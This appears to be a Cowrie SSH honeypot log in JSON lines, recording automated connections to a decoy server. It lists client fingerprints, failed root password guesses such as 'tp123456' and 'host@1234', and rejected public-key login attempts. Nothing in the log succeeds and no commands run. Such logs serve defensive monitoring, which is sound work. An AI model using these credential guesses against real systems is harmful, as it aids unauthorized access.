{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:31.834418Z","src_ip":"171.244.37.97","session":"8829e33636cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:32.082585Z","src_ip":"171.244.37.97","session":"8829e33636cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":52362,"dst_ip":"10.17.0.5","dst_port":22,"session":"449885460fed","protocol":"ssh","message":"New connection: 43.173.83.154:52362 (10.17.0.5:22) [session: 449885460fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:32.300196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:32.305471Z","src_ip":"43.173.83.154","session":"449885460fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:32.375026Z","src_ip":"43.173.83.154","session":"449885460fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@","message":"login attempt [root/abcd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:32.685012Z","src_ip":"43.173.83.154","session":"449885460fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tp123456","message":"login attempt [root/tp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:33.089777Z","src_ip":"171.244.37.97","session":"8829e33636cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:33.761281Z","src_ip":"43.173.83.154","session":"449885460fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:34.335377Z","src_ip":"171.244.37.97","session":"8829e33636cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":53310,"dst_ip":"10.17.0.5","dst_port":22,"session":"6da0b46974a9","protocol":"ssh","message":"New connection: 43.153.50.197:53310 (10.17.0.5:22) [session: 6da0b46974a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:36.828957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:36.833006Z","src_ip":"43.153.50.197","session":"6da0b46974a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:36.904576Z","src_ip":"43.153.50.197","session":"6da0b46974a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host@1234","message":"login attempt [root/host@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:37.213626Z","src_ip":"43.153.50.197","session":"6da0b46974a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:38.285162Z","src_ip":"43.153.50.197","session":"6da0b46974a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.74.127","src_port":45764,"dst_ip":"10.17.0.5","dst_port":22,"session":"c498bfdf3cd8","protocol":"ssh","message":"New connection: 144.217.74.127:45764 (10.17.0.5:22) [session: c498bfdf3cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:39.891343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:39.897163Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:39.917525Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:0f:a7:02:6c:0b:c5:1f:25:bc:84:90:ef:29:29:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzukc737jLOVTK9dwWGkNcJS5e9gnAPHGmLs/wUSCcGwTC3GkZ2XniYAWPmSU60Dnxokuqc1XZlip9l+d/PzoTgqZVg7xfCLod/6PnPgLrTIxpVlz9S2gxi7BHXEH4fe5orYx2Wrn9dtKS8Cd8jR9feGnwHw9gl/hUFQdip7gsGI8XNLHhcrGim6n6fu7kSNupCac3HllJFWA3pPgXl+cqFLRFtJJDsa8lsuY1yDY8vgsnW1bBZ8XoVfhXQb3A6RxUYWB7Xh8YC4KAcMP9c7z2ZVpVAIYqL8Gq7XnOc36L3I0Gc+RVKG4O7MyqQYmrkczoXypzCGctqF4QI0A/qVVsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:0f:a7:02:6c:0b:c5:1f:25:bc:84:90:ef:29:29:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:39.997443Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:0f:a7:02:6c:0b:c5:1f:25:bc:84:90:ef:29:29:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzukc737jLOVTK9dwWGkNcJS5e9gnAPHGmLs/wUSCcGwTC3GkZ2XniYAWPmSU60Dnxokuqc1XZlip9l+d/PzoTgqZVg7xfCLod/6PnPgLrTIxpVlz9S2gxi7BHXEH4fe5orYx2Wrn9dtKS8Cd8jR9feGnwHw9gl/hUFQdip7gsGI8XNLHhcrGim6n6fu7kSNupCac3HllJFWA3pPgXl+cqFLRFtJJDsa8lsuY1yDY8vgsnW1bBZ8XoVfhXQb3A6RxUYWB7Xh8YC4KAcMP9c7z2ZVpVAIYqL8Gq7XnOc36L3I0Gc+RVKG4O7MyqQYmrkczoXypzCGctqF4QI0A/qVVsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.001392Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:31:5f:b2:c3:ba:1a:1f:27:25:03:40:49:93:61:79","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMsMzFH1LdjZ256oL6ZPXyOi1BrJCXeengaZnwo4EwPcZ0PwGEzI3eKoVN8k1N//Y4ywUZ1ZmaGNJjNbQCk9EOtAb5wM1PYT347FoSeNvwlIg9SR0h2WXSaQwab9MiXt+koPfDnPWIbIKjRXooOHpzLIc7Y8wzk2oPLfH00KLmIVAAAAFQCNnqQXZ8atV2w5uChqWE/oWGsuUQAAAIBd8o2LH5fJJgOElACeWvvZd7D8RgV3lYPOFSm7uCWtbV+SMUs+y82Si9JnzSdLdHFt/AwIFcm4p04HrgtCQH8xRyvuWZmFTJ/ojG5SwHQ/JoHbbh2wpjoBL6nUaXKzTwhmHl+6UZOfSjZUGB0iUiMV3Y5Uh0w3kIeREgbxzLlLVAAAAIBpvq4O7PGi4XFO9+9qcjyKDh1epTI5CAsNwpTZYkk9i9amr/rOYQdus7WNcA/fGlV6+iKTUOSJA+6dcD2PDeavqDOudlXOQbZdJrVC+9o2nCDS/clSe7UcdXLFM269zngYpA3gPHSRFiMYeuFvQZEQyy+IxY+UpMu3H+06Z5hPGw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 22:31:5f:b2:c3:ba:1a:1f:27:25:03:40:49:93:61:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.028206Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:31:5f:b2:c3:ba:1a:1f:27:25:03:40:49:93:61:79","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMsMzFH1LdjZ256oL6ZPXyOi1BrJCXeengaZnwo4EwPcZ0PwGEzI3eKoVN8k1N//Y4ywUZ1ZmaGNJjNbQCk9EOtAb5wM1PYT347FoSeNvwlIg9SR0h2WXSaQwab9MiXt+koPfDnPWIbIKjRXooOHpzLIc7Y8wzk2oPLfH00KLmIVAAAAFQCNnqQXZ8atV2w5uChqWE/oWGsuUQAAAIBd8o2LH5fJJgOElACeWvvZd7D8RgV3lYPOFSm7uCWtbV+SMUs+y82Si9JnzSdLdHFt/AwIFcm4p04HrgtCQH8xRyvuWZmFTJ/ojG5SwHQ/JoHbbh2wpjoBL6nUaXKzTwhmHl+6UZOfSjZUGB0iUiMV3Y5Uh0w3kIeREgbxzLlLVAAAAIBpvq4O7PGi4XFO9+9qcjyKDh1epTI5CAsNwpTZYkk9i9amr/rOYQdus7WNcA/fGlV6+iKTUOSJA+6dcD2PDeavqDOudlXOQbZdJrVC+9o2nCDS/clSe7UcdXLFM269zngYpA3gPHSRFiMYeuFvQZEQyy+IxY+UpMu3H+06Z5hPGw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.034111Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:50:eb:cf:a6:e3:9c:0d:ea:62:06:1f:5d:25:01:e5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP7sizML1cq+ukvf7SjXTRfgyrgrN5vAoBwvfSH9HjJd6DsdAsvwHpcF90F2eFkbG4vKwKDiNu1tvXdVHY2/3gn4l/8sOdlWHkpafiJ8bFcfrhI7X+7lvhJFGibxwK5GHti+RHcsqbkVCH70FI46uJllXNxjkc78qNMcxHokZMT7AAAAFQCnwR6sgxz5bDoR09PTCvzLFwPljQAAAIEAmy3jRxzsD/BHVl3obdAu1nBpaW7tpMTKwEoiKW0/hnv99s3g4BH2JhOMzB6Th1IvYxO3nbj+NtUCayOwSwdZ3E4taIssTQN1EVC2CRe7inAR6riCx7WhFtOpcfYRSbxdFbaw1EA3OpqnvvoZD2PHygfjA1nh22f/DKi9KkhMpcgAAACAfWfXlospBFDsOISGGx3ceUshLcUZ5cs1GfQ32tABcHQZexf5o6tRcGm+j5dKu47hri/b4FcXb64Tjp7Zedm9JWbOXYV0ZiFl4R9Qsn3JZNopLVklLZVR6jxgdc7EKoPUF8vA1OBkkDOJ07uglJyJnrZUTsNXBNnbpe8LwoHISt0=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 05:50:eb:cf:a6:e3:9c:0d:ea:62:06:1f:5d:25:01:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.056986Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:50:eb:cf:a6:e3:9c:0d:ea:62:06:1f:5d:25:01:e5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP7sizML1cq+ukvf7SjXTRfgyrgrN5vAoBwvfSH9HjJd6DsdAsvwHpcF90F2eFkbG4vKwKDiNu1tvXdVHY2/3gn4l/8sOdlWHkpafiJ8bFcfrhI7X+7lvhJFGibxwK5GHti+RHcsqbkVCH70FI46uJllXNxjkc78qNMcxHokZMT7AAAAFQCnwR6sgxz5bDoR09PTCvzLFwPljQAAAIEAmy3jRxzsD/BHVl3obdAu1nBpaW7tpMTKwEoiKW0/hnv99s3g4BH2JhOMzB6Th1IvYxO3nbj+NtUCayOwSwdZ3E4taIssTQN1EVC2CRe7inAR6riCx7WhFtOpcfYRSbxdFbaw1EA3OpqnvvoZD2PHygfjA1nh22f/DKi9KkhMpcgAAACAfWfXlospBFDsOISGGx3ceUshLcUZ5cs1GfQ32tABcHQZexf5o6tRcGm+j5dKu47hri/b4FcXb64Tjp7Zedm9JWbOXYV0ZiFl4R9Qsn3JZNopLVklLZVR6jxgdc7EKoPUF8vA1OBkkDOJ07uglJyJnrZUTsNXBNnbpe8LwoHISt0=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.062368Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:5a:ad:f2:0c:9d:a2:41:9f:fe:09:b1:7c:96:a6:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUpdfrLo6ouPczVy+Ce4mIzaal+BjpNf+kdLJRSCzFnPIDVq7vrCA60Vtb6Asp07Ghrz0RPuH7HoZEA8+VNIJl+z6Kik8EeKi/BmnYrdLXqW3xkB/dHJJSoxuZGT4THF9Im2j6TMXYYC7jO7+jtDTzsYf7fYVpCwqv9WcAuDJUwcuQSEOZhWRs+xXRoLC1c3TrpY8ZZ6GCMMOyE5e5xJ7S0y9y1+8ywt5aKSG41gXTQY++sbofX/mvEqkYdUukh/ZMgNbqlLLT0unYFD7N1bZFCn782Zb19RmkCi092X78J5h12eXrfyReQrjL5bxfAbdaKYzDGE0QYG5IDyFHxp99","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:5a:ad:f2:0c:9d:a2:41:9f:fe:09:b1:7c:96:a6:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.085651Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:5a:ad:f2:0c:9d:a2:41:9f:fe:09:b1:7c:96:a6:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUpdfrLo6ouPczVy+Ce4mIzaal+BjpNf+kdLJRSCzFnPIDVq7vrCA60Vtb6Asp07Ghrz0RPuH7HoZEA8+VNIJl+z6Kik8EeKi/BmnYrdLXqW3xkB/dHJJSoxuZGT4THF9Im2j6TMXYYC7jO7+jtDTzsYf7fYVpCwqv9WcAuDJUwcuQSEOZhWRs+xXRoLC1c3TrpY8ZZ6GCMMOyE5e5xJ7S0y9y1+8ywt5aKSG41gXTQY++sbofX/mvEqkYdUukh/ZMgNbqlLLT0unYFD7N1bZFCn782Zb19RmkCi092X78J5h12eXrfyReQrjL5bxfAbdaKYzDGE0QYG5IDyFHxp99","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.090188Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:5a:7a:2b:4d:88:7a:51:ea:6d:f9:6e:25:41:98:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA0lbHHD+vSXND+CcII7IRbTLw9MtliTd8NWiwkjvPPLDeZ4Mwp++2JhvQcWktQQnlnGf/r4lzBYa9c6+Y/U7/OcIY2CHKC2h84IIydghRzWTlNqMrMwW2jVmo8W1z8RDId2pACwRizFXu1pGsmxuLT9shErUgD3sJlcktKS9V5TBPMX4eOEnjPe+hJ6lUHTOI5Wf2JJaeis9+dGwOrLeGz1lAHOSHf5vPmIHEwqhlBqy/zGPbGihWdlvx+WiLxbOaftBH7qj+J1X7uuPWGW2fORrMukGXNQhnRDRl95u6lMUhpCAB/B6di464LbZgFTK+RDozMd0oEweC5LOh+7HVIfxn+P40DqjmxTA/acPzIv98nnZzQg6/nJpL2zH5SE944ywFXQuremnL/NnpVfhqDDH5Gze0HocETJ6ugH4GMHP/qwNU1R/6wSYGFWoASSklU4by+D4E5fSuwYIcbH9p2o32lYwLutzyyvArt/6nudh0WJO4dcSrQsabBxgY474pU8kpV/qC/+knTRhNivYQb2y4nHz0CkCdpvkQdvt9puX5KgirC9jxlpprQcJnSWdN5KbYznr0zr4FT8pNnq69WCy9GEUvlJXO8BdfBNovsQIE6CGc2PLICnOO8gFqjz6SsAdrVRrke9Sr7fMI5CujgvPBjAadipoqaqrBZJuv1sU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:5a:7a:2b:4d:88:7a:51:ea:6d:f9:6e:25:41:98:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.113753Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:5a:7a:2b:4d:88:7a:51:ea:6d:f9:6e:25:41:98:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA0lbHHD+vSXND+CcII7IRbTLw9MtliTd8NWiwkjvPPLDeZ4Mwp++2JhvQcWktQQnlnGf/r4lzBYa9c6+Y/U7/OcIY2CHKC2h84IIydghRzWTlNqMrMwW2jVmo8W1z8RDId2pACwRizFXu1pGsmxuLT9shErUgD3sJlcktKS9V5TBPMX4eOEnjPe+hJ6lUHTOI5Wf2JJaeis9+dGwOrLeGz1lAHOSHf5vPmIHEwqhlBqy/zGPbGihWdlvx+WiLxbOaftBH7qj+J1X7uuPWGW2fORrMukGXNQhnRDRl95u6lMUhpCAB/B6di464LbZgFTK+RDozMd0oEweC5LOh+7HVIfxn+P40DqjmxTA/acPzIv98nnZzQg6/nJpL2zH5SE944ywFXQuremnL/NnpVfhqDDH5Gze0HocETJ6ugH4GMHP/qwNU1R/6wSYGFWoASSklU4by+D4E5fSuwYIcbH9p2o32lYwLutzyyvArt/6nudh0WJO4dcSrQsabBxgY474pU8kpV/qC/+knTRhNivYQb2y4nHz0CkCdpvkQdvt9puX5KgirC9jxlpprQcJnSWdN5KbYznr0zr4FT8pNnq69WCy9GEUvlJXO8BdfBNovsQIE6CGc2PLICnOO8gFqjz6SsAdrVRrke9Sr7fMI5CujgvPBjAadipoqaqrBZJuv1sU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.119295Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:40.144020Z","src_ip":"144.217.74.127","session":"c498bfdf3cd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc33efcd781","protocol":"ssh","message":"New connection: 209.99.190.200:34096 (10.17.0.5:22) [session: 4fc33efcd781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:42.533413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:42.538758Z","src_ip":"209.99.190.200","session":"4fc33efcd781","protocol":"ssh"}
